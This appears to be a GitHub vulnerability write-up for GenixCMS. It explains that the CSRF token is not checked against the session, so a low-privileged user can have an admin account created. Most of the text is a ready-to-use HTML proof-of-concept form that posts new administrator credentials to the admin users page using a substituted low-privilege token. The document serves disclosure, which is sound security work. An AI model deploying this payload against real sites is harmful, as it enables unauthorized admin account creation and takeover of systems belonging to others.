J3rryBl4nks Update CreateAdminBAC.md History

1 contributor

40 lines (21 sloc) | 1.14 KB

The GenixCMS platform is vulnerable to an exploit that allows a low privileged user to create an admin account by getting an admin to visit a crafted page.

This differs from : CVE-2015-2680 because in an attempt to mitigate the CSRF vulnerability the developer added a "token" value to the request. But because the token value is not checked in tandem with the session data, you can provide ANY valid token and still get the request to be accepted.

Vulnerable request POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://HOSTNAME/genix/gxadmin/index.php?page=users" method="POST">
      <input type="hidden" name="userid" value="admin2" />
      <input type="hidden" name="pass1" value="admin2" />
      <input type="hidden" name="pass2" value="admin2" />
      <input type="hidden" name="email" value="admin3&#64;test&#46;com" />
      <input type="hidden" name="group" value="0" />
      <input type="hidden" name="adduser" value="" />
      <input type="hidden" name="token" value="INSERTLOWPRIVTOKENHERE" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```